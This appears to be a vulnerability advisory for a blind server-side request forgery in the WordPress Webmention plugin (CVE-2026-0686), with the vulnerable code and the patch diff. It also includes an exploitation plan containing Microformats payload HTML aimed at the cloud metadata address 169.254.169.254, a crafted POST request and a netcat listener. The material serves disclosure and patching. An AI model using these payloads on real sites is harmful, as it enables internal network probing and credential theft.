CVE-2026-0686

Webmention <= 5.6.2 - Unauthenticated Blind Server-Side Request Forgery

highServer-Side Request Forgery (SSRF)
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.7.0
Patched in
1d
Time to patch

Description

The Webmention plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.6.2 in the 'MF2::parse_authorpage' function via the 'Receiver::post' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.6.2
PublishedApril 1, 2026
Last updatedApril 2, 2026
Affected pluginwebmention

What Changed in the Fix

Changes introduced in v5.7.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0686 (Webmention SSRF) ## 1. Vulnerability Summary The **Webmention** plugin (versions <= 5.6.2) is vulnerable to a Blind Server-Side Request Forgery (SSRF). The vulnerability exists because the plugin automatically fetches and processes remote URLs provided i…

Show full research plan

Exploitation Research Plan: CVE-2026-0686 (Webmention SSRF)

1. Vulnerability Summary

The Webmention plugin (versions <= 5.6.2) is vulnerable to a Blind Server-Side Request Forgery (SSRF). The vulnerability exists because the plugin automatically fetches and processes remote URLs provided in Webmention "source" documents to extract metadata, specifically author avatars.

When a Webmention is received, the plugin parses the source page for Microformats (MF2). If it identifies an author with a photo URL, the Webmention\Avatar_Store::store_avatar function eventually triggers Webmention\Avatar_Store::sideload_avatar, which calls the WordPress download_url() function on the provided photo URL without sufficient validation against internal or restricted IP addresses. This allows an unauthenticated attacker to force the server to make GET requests to arbitrary internal or external locations.

2. Attack Vector Analysis

  • Endpoint: The Webmention receiving endpoint. By default, this is often handled via the REST API or a query parameter.
  • REST Route: POST /wp-json/webmention/1.0/endpoint (Standard Webmention REST endpoint).
  • Alternative Endpoint: POST /?webmention=endpoint (Legacy/fallback).
  • Parameters:
    • source: URL of the attacker-controlled page containing MF2 markup.
    • target: URL of a valid post/page on the target WordPress site that accepts Webmentions.
  • Authentication: Unauthenticated. Webmentions are designed to be received from external, untrusted servers.
  • Preconditions:
    • At least one post/page must exist on the WordPress site.
    • Webmentions must be enabled (usually enabled by default for posts).

3. Code Flow

  1. Entry Point: A POST request is sent to the Webmention endpoint (e.g., wp-json/webmention/1.0/endpoint).
  2. Reception: The Receiver::post function (referenced in the CVE) handles the request, validating the source and target.
  3. Parsing: The plugin fetches the source URL and passes the response to Webmention\Handler\MF2::parse.
  4. Metadata Extraction:
    • MF2::parse calls MF2::get_representative_author.
    • MF2::set_property_author extracts the photo property from the author's h-card:
      foreach ( array( ..., 'photo' ) as $prop ) {
          $author[ $prop ] = $this->get_plaintext( $properties, $prop );
      }
      
  5. Comment Creation: A WordPress comment is created to represent the Webmention. The extracted author data (including the photo URL) is stored in comment metadata.
  6. Triggering the Sink: The comment_post action fires, triggering Webmention\Avatar_Store::init -> Webmention\Avatar_Store::store_avatar.
  7. SSRF Execution:
    • store_avatar calls Webmention\Avatar_Store::sideload_avatar( $avatar, ... ).
    • sideload_avatar calls the vulnerable sink:
      $file = download_url( $url, 300 ); // $url is the attacker-controlled photo URL
      
    • download_url() (a WordPress core function) performs a GET request to the URL.

4. Nonce Acquisition Strategy

The Webmention endpoint (wp-json/webmention/1.0/endpoint) does not require a nonce because it is a server-to-server communication protocol. The standard specification for Webmention explicitly avoids CSRF tokens for the reception endpoint to allow notifications from any external source.

Verification of Nonce-less Access:

  1. Check the REST API registration (likely in includes/class-receiver.php, though not provided).
  2. Standard Webmention implementations use permission_callback => '__return_true'.

5. Exploitation Strategy

The goal is to force the WordPress server to request an internal resource (e.g., a metadata service or internal web app).

Step-by-Step Plan:

  1. Identify Target: Find a valid post URL on the target site (e.g., http://localhost:8080/?p=1).
  2. Prepare Malicious Source: Create a publicly accessible HTML file (e.g., exploit.html) containing Microformats markup with an SSRF payload in the u-photo field.
    <div class="h-entry">
      <a class="u-url" href="http://attacker.com/exploit.html">Post Title</a>
      <p class="p-content">This is a test webmention.</p>
      <a class="u-in-reply-to" href="http://localhost:8080/?p=1">Target Post</a>
      <div class="p-author h-card">
        <span class="p-name">Attacker</span>
        <!-- SSRF TARGET BELOW -->
        <img class="u-photo" src="http://169.254.169.254/latest/meta-data/" />
      </div>
    </div>
    
  3. Send Webmention: Use http_request to send a POST request to the Webmention endpoint.

Request Details:

  • Method: POST
  • URL: http://localhost:8080/wp-json/webmention/1.0/endpoint
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: source=http://attacker-controlled-site.com/exploit.html&target=http://localhost:8080/?p=1

6. Test Data Setup

  1. Target Post: Ensure a post exists.
    wp post create --post_type=post --post_title="Target Post" --post_status=publish
    
  2. Plugin Configuration: Ensure Webmentions are enabled for posts (default behavior).
  3. Attacker Listener: Use a tool like nc -lvp 80 or a webhook listener if testing for basic SSRF, or target http://localhost:8080/wp-admin/ to verify internal access.

7. Expected Results

  • The plugin will respond with an HTTP 202 Accepted or 200 OK indicating the webmention is being processed.
  • The WordPress server will make an outbound HTTP GET request to the URL specified in the u-photo attribute (http://169.254.169.254/latest/meta-data/).
  • If an internal listener is used, the listener will receive a request from the WordPress server's IP with a User-Agent like WordPress/X.X.X; http://localhost:8080.

8. Verification Steps

  1. Check Comment Meta: After the request, verify if the comment was created and if the avatar URL was stored.
    wp comment list --number=1 --format=json
    # Identify the comment ID, then check its meta:
    wp comment meta get <ID> avatar
    
  2. Verify Sideloading attempt: Check the wp-content/uploads/webmention/avatars/ directory to see if the plugin attempted to save the result of the SSRF.
    ls -R /var/www/html/wp-content/uploads/webmention/
    
  3. Examine Access Logs: Check the logs of the internal service being targeted to confirm the hit from the WordPress server.

9. Alternative Approaches

Author Page SSRF (Blind)

If the photo property processing fails, the CVE also mentions MF2::parse_authorpage. This occurs when the h-card author is just a URL.

  1. Source Markup:
    <div class="h-entry">
       <a class="u-in-reply-to" href="http://localhost:8080/?p=1">Target</a>
       <a class="p-author" href="http://INTERNAL-SERVICE:8080/api/endpoint">Author</a>
    </div>
    
  2. Effect: The plugin may attempt to fetch the author's URL to find an h-card on that page, triggering a GET request to the internal service.

Avatar Metadata Trigger

If the comment_post hook is somehow avoided, editing the comment in the admin dashboard (if a moderator views it) might also trigger Avatar_Store::store_avatar via the edit_comment hook:

add_action( 'edit_comment', array( static::class, 'store_avatar' ), 20 );
Research Findings
Static analysis — not yet PoC-verified

Summary

The Webmention plugin for WordPress is vulnerable to unauthenticated blind Server-Side Request Forgery (SSRF) when processing incoming webmentions. It fails to validate remote URLs before fetching them to extract author avatars or parse author pages, allowing an attacker to force the server to make requests to internal services or arbitrary external locations.

Vulnerable Code

// includes/handler/class-mf2.php line 875
public function parse_authorpage( $url ) {
	$response = Request::get( $url, false );

	if ( is_wp_error( $response ) ) {
		return $response;
	}

---

// includes/class-avatar-store.php line 124
		// Download Profile Picture and add as attachment
		$file = wp_get_image_editor( download_url( $url, 300 ) );
		if ( is_wp_error( $file ) ) {
			return false;
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.6.2/includes/class-tools.php /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.7.0/includes/class-tools.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.6.2/includes/class-tools.php	2025-12-18 20:53:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.7.0/includes/class-tools.php	2026-03-30 17:18:46.000000000 +0000
@@ -78,7 +78,7 @@
 		$target = $request->get_param( 'target' );
 		$mode   = $request->get_param( 'mode' );
 
-		$response = Request::get( $source, false );
+		$response = Request::get( $source );
 
 		if ( is_wp_error( $response ) ) {
 			return $response;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.6.2/includes/handler/class-mf2.php /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.7.0/includes/handler/class-mf2.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.6.2/includes/handler/class-mf2.php	2025-12-18 20:53:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webmention/5.7.0/includes/handler/class-mf2.php	2026-03-30 17:18:46.000000000 +0000
@@ -875,7 +875,7 @@
 	 * @return WP_Error|array Return error or author array if successful.
 	 */
 	public function parse_authorpage( $url ) {
-		$response = Request::get( $url, false );
+		$response = Request::get( $url );
 
 		if ( is_wp_error( $response ) ) {
 			return $response;

Exploit Outline

1. An attacker hosts a malicious HTML page containing Microformats 2 (MF2) markup (e.g., an h-entry with an h-card author). 2. Inside the MF2 markup, the attacker specifies a URL to an internal or restricted resource (like AWS metadata services at 169.254.169.254) within the 'u-photo' property or the 'p-author' URL. 3. The attacker identifies a public post on the target WordPress site that accepts Webmentions. 4. The attacker sends an unauthenticated POST request to the Webmention REST API endpoint (typically /wp-json/webmention/1.0/endpoint) with 'source' set to their malicious page and 'target' set to the identified post. 5. The plugin fetches the source page, parses the MF2 data, and automatically triggers an HTTP GET request to the attacker's internal target URL via the Avatar_Store::sideload_avatar function (using download_url) or the MF2::parse_authorpage function (using Request::get with security checks explicitly disabled).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.